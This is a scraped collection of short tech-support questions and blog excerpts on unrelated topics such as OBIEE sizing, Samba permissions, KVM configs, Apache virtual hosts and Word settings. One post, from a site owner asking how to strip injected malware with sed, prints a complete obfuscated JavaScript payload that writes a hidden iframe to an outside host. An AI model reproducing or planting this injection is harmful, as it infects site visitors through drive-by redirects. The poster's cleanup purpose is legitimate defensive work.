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• OBIEE Capacity Planning

  - by THE

  I can not even recall how many times I was asked by a customer what size the machine should be bought to run our Software. Unfortunately Tech Support is not even the right address to answer that question, as a purchase decision is closely tied to the answer. Hence, Tech Support has been limited to the answer: "The biggest machine you can afford" . Many Customers were unhappy with that and have tried to get us to be more precise and that causes a lot of explanation and lengthy discussion. In the end no one is wiser or happier.  Therefore I am happy to report that at least for OBIEE the decision has just been made a whole lot easier. Have a look at the note Oracle BI EE 11g Architectural Deployment: Capacity Planning (Doc ID 1323646.1) The document attached to that note gives you a good overview for teh sizing of the machines that Oracle recommends to run OBIEE (be it a small installation or a bigger distributed installation) If you have any more questions about this topic and what machines we recommend, then get in contact with  Oracle Consulting or speak to your sales representative.

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• Template loading slowness on VPN

  - by Mesut

  Hi All We have got lots of Word templates on our network. They are perfectly working on local area network. However, if users try to create a new word document from a template when they are connected to VPN outside of the office, it takes nearly 20 minutes to create a word file which is not reasonable at all. Have you guys ever come across with this type of issue? if yes, any suggestion or help would be appreciated. Many Thanks from now on. Best Regards Mesut

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• How can I make sure my evening project code is mine?

  - by Sebastian

  I'm a physicist with a CS degree and just started my PhD at a tech company (wanted to do applied research). It deals with large scale finite element simulations. After reviewing their current approach, I think that a radically different method has to be applied (they are using a commercial tool which is very limited). I'd rather base my research on an open source finite element solver and write a program which makes use of it. I'd like to develop this idea in the evenings, because that's the time that best suits me for programming (during the day I prefer reading and maths) and use it at a late stage of my PhD. I'd like to have the option to release my program as open source on my website as a reference, for future personal or even commercial (e.g. consulting) use. How can I make sure that my company doesn't claim the code ownership? I don't really I thought that a version control system could help (check out only in the evening). This would document that I programmed not during regular office hours (documented elsewhere). But these data can be easily manufactured. Any other ideas? I want to stress that I'm not interested in selling software. Jurisdiction is EU, if that matters. Thank you.

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• ESXI 4.0 Slow response in opening anything accross the network on a Virtual Server running Win2008

  - by user40944

  Hi I recently installed a HP ML350G6 Server with Windows Small Business Server 200864bit, Exchange 2007. The server was running fantastically and we transferred all user data onto the new server and no problems for 2 weeks! We then installed SQL2008 and transferred the accounts package onto the server and this is where the problems started. Users are now complaining to open a work document can take 2 minutes and the same with regard to anything else. The server itself seems fine, the virtual server seems fine! No disk performance problems (doesn't go above 50% unless i really copy lots of things), no memory, (12Gb only using 7Gb) cpu (usage is low average about 15%) etc on both the VM and in Windows Task manager. I have made sure disk caching is enabled on the raid controller (which made no difference). Network cards are running 1Gb and plugged into HP GB switch. Please help!

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• From the Coalface - 3 - Work as hard as you can to be as lazy as you can!

  - by TATWORTH

  The saga of the Change Log A recent conversation reminded me of the need for change logs within a database, to record when various change scripts were run. Creating such the required table is simple. A typical table for this consists of: Id - identity Integer primary key ChangeFileName - NVARCHAR(128) to hold the name of the file run. DateAdded - DateTime non-null with default value of getutcdate() Purpose - NVARCHAR(128) Rerunnable - Bit non-null default 0. By good design of the table only two data values normally need to be supplied. Two stored procedures, one for inserting data and one to list in reverse sequence the log complete the database essentials. The complete implementation can be found in the CommonData solution at http://CommonData.CodePlex.Com By including a call the add Change Log stored procedure, each script can log its name and purpose for posterity. The scripts that were applied to say the UAT system and their sequence of application can be readily identified for running on the Live system. Formatting XML XML is often produced as one continous string with no embedded CR/LF. To get it into human readable form, open it in visual studio, swap to another tab and back and click the format document button. The XML will then be nicely formatted!

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• Samba Permissions

  - by Nelson

  I have Samba set up on a Fedora 15 Machine. All looks well except that there's something nagging and I don't know what exactly is causing it. I have a public share on the server which is accessible by everyone and its permissions is set to 777. When one person opens a document under that share and closes it after working, the other person who opens it can't edit or save it because it opens in read only and shows that it's still open on another computer. What might be causing this and how can I resolve this?

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• KVM XML config file

  - by awmusic12635

  I have a KVM server that I expanded the LV of then rebooted. However now when booting I get the error: error: Failed to create domain from /home/kvm/kvmx/kvmx.xml error: (domain_definition):1: Document is empty (null) ^ It appears the config file still exits however it is now empty. I attempted to replace the contents of the file with the correct previous information however it continues to wipe it on attempt to boot and fails again with the same error. How would I got about solving this so the file doesn't get wiped on every reboot? OS: Centos 6 64bit I would appreciate any help you may have.

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• How to create or save a PDF with printing/editing restrictions without using Adobe?

  - by suit

  I saved a Powerpoint as a pdf in Office 2007 but I don't see any options to add print restrictions or edit restrictions to it. I don't have Adobe either, so I'm wondering if there is any alternative way to add restrictions to a pdf. I know there are tools to remove document restrictions, but can they do they opposite? Is there any freeware or websites available that can add restrictions to my pdf I created? I found a website that looked promising but it didn't end up working (The upload didn't work).

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• Converting Visio (.vsd) files to pdf automatically [migrated]

  - by Aseques

  I am trying to create a scheduled task to convert all my .vsd files to pdf so all of our devices can read them (linux, mac, smartphones, etc..) and I would prefer not paying for something that can be done with Visio + PDFcreator. The approach of using openoffice doesn't work with .vsd files since it's not a supported format ( Method/tools for batch-converting Microsoft Word files into PDF?) What I've currently is this: 'C:\Program Files\Microsoft Office\Visio11\VISIO.EXE' /pt "Z:\Archive\Files.vsd",-PPDFCREATORPRINTER /nologo That is able to open automatically the document I want and to prepare it to be printed, the only missing part is that it requires me to confirm on the printing dialog. There's some information here: http://support.microsoft.com/kb/314392 but it doesn't explain abotu non interactive printing.

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• How to copy the value from a cell to another (using a formula), but not formula from the source cell

  - by RODY ROY

  I'm making use of NOW() function at many places in my spreadsheet, which is basically a checklist document. So my requirement is that for each step, it should record the datetime at which that step was completed. But whenever the Now() is being used... all the previously updated cells withe datetime are also getting updated again. Hence at the end of the day, am not able to get the detailed time at which each of those steps are completed. This is how I've created as of now: Used a Checkbox for each step. Once the step is complete, on clicking the Checkbox, it will update the cell A1 as "Completed". In the cell B1, I've put the following function which will check for the value in A1. If it is "Completed", then it will update the value of B1 with the current datetime using Now() =IF(A1="Completed";NOW();"") Please let me know a solution for this. Also if there any other alternative.

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• How to highlight and collect highlighted text from webpages in Chrome?

  - by verve

  Is there a way to highlight lines of text in a Chrome webpage in various colours with a keyboard only or with a mouse only? I want to highlight lines of text and I want the highlights to show up every time I visit the same site. Also, I want a backup feature so I never lose highlights. And, I want to be able to press a button in the app that will download all the highlighted text bits to a document. Freeware or paidware. Stability of the product is important (losing hours of highlights is nuts). Need it to be efficient too. Chrome.

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• JCP.Next.3 working group meetings have begun

  - by Heather VanCura

  As mentioned in the blog earlier this week, the third JSR in the JCP.Next effort, JSR 358, A major revision of the Java Community Process, was approved by the JCP EC to continue development earlier this year.  This JSR will modify the Java Specification Participation Agreement (JSPA) as well as the Process Document, and will tackle a large number of complex issues, many of them postponed from JSR 348. For these reasons, the JCP EC (acting as the Expert Group for this JSR), expects to spend a considerable amount of time working on this JSR. The JSPA is defined by the JCP as "a one-year, renewable agreement between the Member and Oracle. The success of the Java community depends upon an open and transparent JCP program. The first EG working meetings have started and  meeting materials and minutes are available on their Java.net project. Last week an IP Working Group commenced and their meeting minutes and materials will also be available in this location; they anticipate meeting on a weekly basis moving forward.  Also see the JSR 358 issue tracker on java.net.  Right now there are 45 issues being discussed.  Join the JSR 358 java.net project to keep up to date on the latest developments.

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• Lighter in CPU/Memory Usage: Lubuntu or Xubuntu

  - by Luis Alvarado

  I am looking for an Ubuntu version that consumes less Memory and CPU. I have read both Lubuntu and Xubuntu (The homepages, wikipedia, phoronix and other sites comparing both). But from experience, which one uses less memory and is less CPU intensive. I need to install them in very old hardware and want to persuade the owner of the hardware of the benefits of Ubuntu. in this case I want to install 11.10 or 12.04 when it comes out. How are each behaving in those versions? The 2 PCs I will be installing either Xubuntu or Lubuntu are: Granpa PC: CPU - Pentium 2 450Mhz RAM - 64MB DIMM Video - 16MB Used for - Documents and Internet. No listening to music, no looking at videos. Just using it for document writing. The other old meat: CPU - Pentium 3 550Mhz RAM - 128MB DIMM Video - 16MB Used for - Documents and Internet also but they want.. or maybe they are wishing for it to use it to see movies and listen to music. This one has internet. The other one does not.

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• PHP session files have permissions of 000 - They're ununsable

  - by vanced

  I kept having issues with a Document Management System I'm trying to install as, at the first step of the installation process, it would error with: Warning: Unknown: open(/tmp/sess_d39cac7f80834b2ee069d0c867ac169c, O_RDWR) failed: Permission denied (13) in Unknown on line 0 Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (/tmp) in Unknown on line 0 I looked in /tmp and saw the sess_* files have the following permissions ---------- 1 vanced vanced 1240 Jan 20 08:48 sess_d39cac7f80834b2ee069d0c867ac169c All the session files look like this. So obviously, they're unusable by PHP and it's causing me lots of problems. How can I get PHP to set the correct permissions? I've tried changing the directory which php.ini uses to /tmp/phpsessions and the same thing occurs. The directories are a+rwx.

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• Notepad++ or other application to replace string with numeric function

  - by user38963

  Hello. I am using Notepad++ and attempting to replace all numeric strings within a specific tag (xxxxof my XML document with a new string which has been modified by a specific variable. Here's an example (please remove the space between < and start): < start501234< /start round(501234 * 0.9) = 451111 < start451111< /start Is there a way to automatically find all numeric values within the start tag and do replace it by that same value multiplied by 0.9? I don't have to use Notepad++ if there's another tool that can do this. Thanks!

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• How can I remove malware code in multiple files with sed?

  - by user47556

  I've this malware code in so many .html and .php files on the server. I need to remove them using sed -i expression search all files under directory /home/ find infected files remove the code by replacing it with a white space var usikwseoomg = 'PaBUTyjaZYg3cPaBUTyjaZYg69PaBUTyjaZYg66';var nimbchnzujc = 'PaBUTyjaZYg72';var szwtgmqzekr = 'PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg20PaBUTyjaZYg6ePaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22';var yvofadunjkv = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76';var ylydzxyjaci = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22';var xwojmnoxfbs = 'PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg72PaBUTyjaZYg63PaBUTyjaZYg3dPaBUTyjaZYg22';var mgsybgilcfx = 'PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg74PaBUTyjaZYg70PaBUTyjaZYg3aPaBUTyjaZYg2fPaBUTyjaZYg2f';var nixyhgyjouf = 'koska.sytes.net/phl/logs/index.php';var nesrtqwuirb = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg6dPaBUTyjaZYg61PaBUTyjaZYg72PaBUTyjaZYg67PaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg6dPaBUTyjaZYg61PaBUTyjaZYg72PaBUTyjaZYg67PaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg74PaBUTyjaZYg69PaBUTyjaZYg74PaBUTyjaZYg6cPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22';var rqchyojemkn = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76';var niupgeebkhf = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg63PaBUTyjaZYg72PaBUTyjaZYg6fPaBUTyjaZYg6cPaBUTyjaZYg6cPaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg67PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg6ePaBUTyjaZYg6fPaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg62PaBUTyjaZYg6fPaBUTyjaZYg72PaBUTyjaZYg64PaBUTyjaZYg65PaBUTyjaZYg72PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg66PaBUTyjaZYg72PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg62PaBUTyjaZYg6fPaBUTyjaZYg72PaBUTyjaZYg64PaBUTyjaZYg65PaBUTyjaZYg72PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg3e';var yyzsvtbnudd = 'PaBUTyjaZYg3cPaBUTyjaZYg2fPaBUTyjaZYg69PaBUTyjaZYg66';var tlclvgxfthn = 'PaBUTyjaZYg72PaBUTyjaZYg61';var zxttbudjafh = 'PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3e';var yydszqnduko = new Array();yydszqnduko[0]=new Array(usikwseoomg+nimbchnzujc+szwtgmqzekr+yvofadunjkv+ylydzxyjaci+xwojmnoxfbs+mgsybgilcfx+nixyhgyjouf+nesrtqwuirb+rqchyojemkn+niupgeebkhf+yyzsvtbnudd+tlclvgxfthn+zxttbudjafh);document['PaBUTyjaZYgwPaBUTyjaZYgrPaBUTyjaZYgiPaBUTyjaZYgtPaBUTyjaZYgePaBUTyjaZYg'.replace(/PaBUTyjaZYg/g,'')](window['PaBUTyjaZYguPaBUTyjaZYgnPaBUTyjaZYgePaBUTyjaZYgsPaBUTyjaZYgcPaBUTyjaZYgaPaBUTyjaZYgpPaBUTyjaZYgePaBUTyjaZYg'.replace(/PaBUTyjaZYg/g,'')](yydszqnduko.toString().replace(/PaBUTyjaZYg/g,'%')));

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• How to control routes added by RasDial

  - by Robert Dodier

  I am using the RasDial function on a Windows box (Windows Server 2008) to dial a device from which the server then reads data. It seems that some new routes are added to the network routing table when the dial-up connection is made. That interferes with other network interfaces on the server. In particular, RasDial adds a default route which routes traffic to the device, which makes the server unreachable until the connection is dropped. Is there a way to control which routes are added by RasDial? I have been studying Microsoft's document for RasDial and associated items (RASDIALPARAMS, RASDIALEXTENSIONS) without finding anything about routing. There is an option for "Use default gateway on remote network" when configuring a VPN, but I don't see how to apply that in this case. Thanks for any light you can shed on this problem.

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• Why is the remove function not working for hashmaps? [migrated]

  - by John Marston

  I am working on a simple project that obtains data from an input file, gets what it needs and prints it to a file. I am basically getting word frequency so each key is a string and the value is its frequency in the document. The problem however, is that I need to print out these values to a file in descending order of frequency. After making my hashmap, this is the part of my program that sorts it and writes it to a file. //Hashmap I create Map<String, Integer> map = new ConcurrentHashMap<String, Integer>(); //function to sort hashmap while (map.isEmpty() == false){ for (Entry<String, Integer> entry: map.entrySet()){ if (entry.getValue() > valueMax){ max = entry.getKey(); System.out.println("max: " + max); valueMax = entry.getValue(); System.out.println("value: " + valueMax); } } map.remove(max); out.write(max + "\t" + valueMax + "\n"); System.out.println(max + "\t" + valueMax); } When I run this i get: t 9 t 9 t 9 t 9 t 9 .... so it appears the remove function is not working as it keeps getting the same value. I'm thinking i have an issue with a scope rule or I just don't understand hashmaps very well. If anyone knows of a better way to sort a hashmap and print it, I would welcome a suggestion. thanks

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• Why should I use $[ EXPR ] instead of $(( EXPR ))?

  - by qdii

  On the paragraph explaining arithmetic expansion, Bash's user guide uncovers 2 different ways of evaluating an expression, the first one uses $((?EXPRESSION?)) and the second one uses $[?EXPRESSION?]. The two ways seem pretty similar as the only difference I have found is: $[?EXPRESSION?] will only calculate the result of EXPRESSION, and do no tests: Yet, I am intrigued because the same document recommends using $[?EXPRESSION?] rather than $((?EXPRESSION?)). Wherever possible, Bash users should try to use the syntax with square brackets: Why would you want that if less tests are being done?

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• Apache routing vhosts to /var/www

  - by FHannes

  One user at my site has reported that he reaches the content at /var/www when browsing to any of the vhosts at my server. As far as I’m aware, my Apache server does not contain a document root that references this folder. On top of that, this user seems to be the only one experiencing the issue. According to his ISP, the issue isn’t caused by them, yet, on his mobile connection, he can access the site. When browsing to my server’s IP, he also receives the correct content from the default vhost. What could be the possible causes of this issue and how can I get it to stop? I’ve explored pretty much every option I could think of.

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• What kinds of languages would be most useful for this kind of webapp?

  - by Caedar

  I've had some experience with programming in the past (2-3 years of C++ self-teaching), so I'm no stranger to the programming process, but there are so many languages out there that I'm lost when thinking about this project idea that's been floating around my head: I would like to create a webapp that would be used for helping somebody figure out what kinds of productivity tools would suit them. The first part of the app would basically be a survey with a variety of questions that would help weed out tools that wouldn't be useful for them. (Slider bar between minimalist and maximizer, slider bar between all free apps and no cost limit, checkboxes on what platforms are required, etc.) While the person is filling out the survey, they will see a web of applications, webapps, and other tools forming on the screen with links showing the relationships the programs have with eachother (syncing supported, good combinations of apps, etc.), along with a list of applications below sorted by general use (notetaking, document organization, storage, etc.) I would imagine that each program entered into the database that will be accessed would have a certain set of characteristics, ie. price, user friendliness, platforms supported, general uses, etc. and the survey would be designed to correlate to those elements and remove programs that don't match the criteria set. The difficult part of this entire process would be getting the web of applications to arrange itself and render properly. Now that I've finished mind-dumping, onto my question: What kinds/combinations of programming languages would you imagine being useful for this kind of project, and why? I learn best by setting up a project for myself like this one and tinkering with the languages, so I don't mind if the end product is out of reach from my current skill level. I'd just like some guidance so I don't fumble in the dark for too long.

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• How to ALWAYS link an image in MS Word 2010 instead of embedding it?

  - by grunwald2.0

  I want to only link, not embed, pictures in my Word document. Yet I got a lot of images to insert! And I want to spare me the additional click into the dropdown menu one and for all, so the question is, is there any way to set "link image(s)" as default? Because I didn't find anything in the Word settings, only totally useless detail settings. This "detail" has been overseen by Microsoft it seems! :( I would provide you with a screenshot, but it would be German anyways. I think the guys who use image linking in Word since v2007, will know what I mean. Thank you in advance! Best regards

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• Setting a mapped drive in Virtual hosts causes apache to not start

  - by darksoulsong

  I´m trying to set a virtual host on my windows 7 machine. The folder I want to point to is located on a centOS machine and the folder path is Z:\Websites\Online\MyClient\Site. But something strange happens when I set the document root like this: DocumentRoot "Z:\Websites\Online\MyClient\Site" Apache do not restarts after that. When I take a look at the log, there is an error pointing to that line, where I added the path to the folder: Syntax error on line 48 of C:/Program Files/Zend/Apache2/conf/extra/httpd-vhosts.conf: DocumentRoot must be a directory. There must be a way to make it work like this, by setting an Apache Installation on a machine and pointing it to a folder located on another computer, right? My hosts file is set like this: 172.17.10.1\Data\Websites\Online\MyClient\Site MyClient.local ANY HELP would be VERY appreciated.

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• Disappearing mouse cursor in Word, Notepad, Outlook

  - by user161548

  I purchased a lenovo led monitor as a second monitor so I have dual screens now. Everything works great except all text programs make my cursor disappear on the new monitor. Everything works great on the old monitor but if I drag a text document to the new screen the cursor is invisible. Any ideas on what to try? Odd to me that it works on one and not the other so assuming it has something to do with the monitor but none of the settings seem to make a difference.

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• Creating a Virtual Host with xampp

  - by Will

  i'm using xampp trying to set up a virtual host. Here's my httpd-vhosts.conf file: <VirtualHost *:80> DocumentRoot "C:\Users\wbaizer\PhpstormProjects\Test" ServerName test1.localhost </VirtualHost> my hosts file has the following: 127.0.0.1 test1.localhost when I try to access test1.localhost in Chrome it gives me this message: "You don't have permission to access the requested directory. There is either no index document or the directory is read-protected." What am I doing wrong, what do I need to do, and how do I do that?

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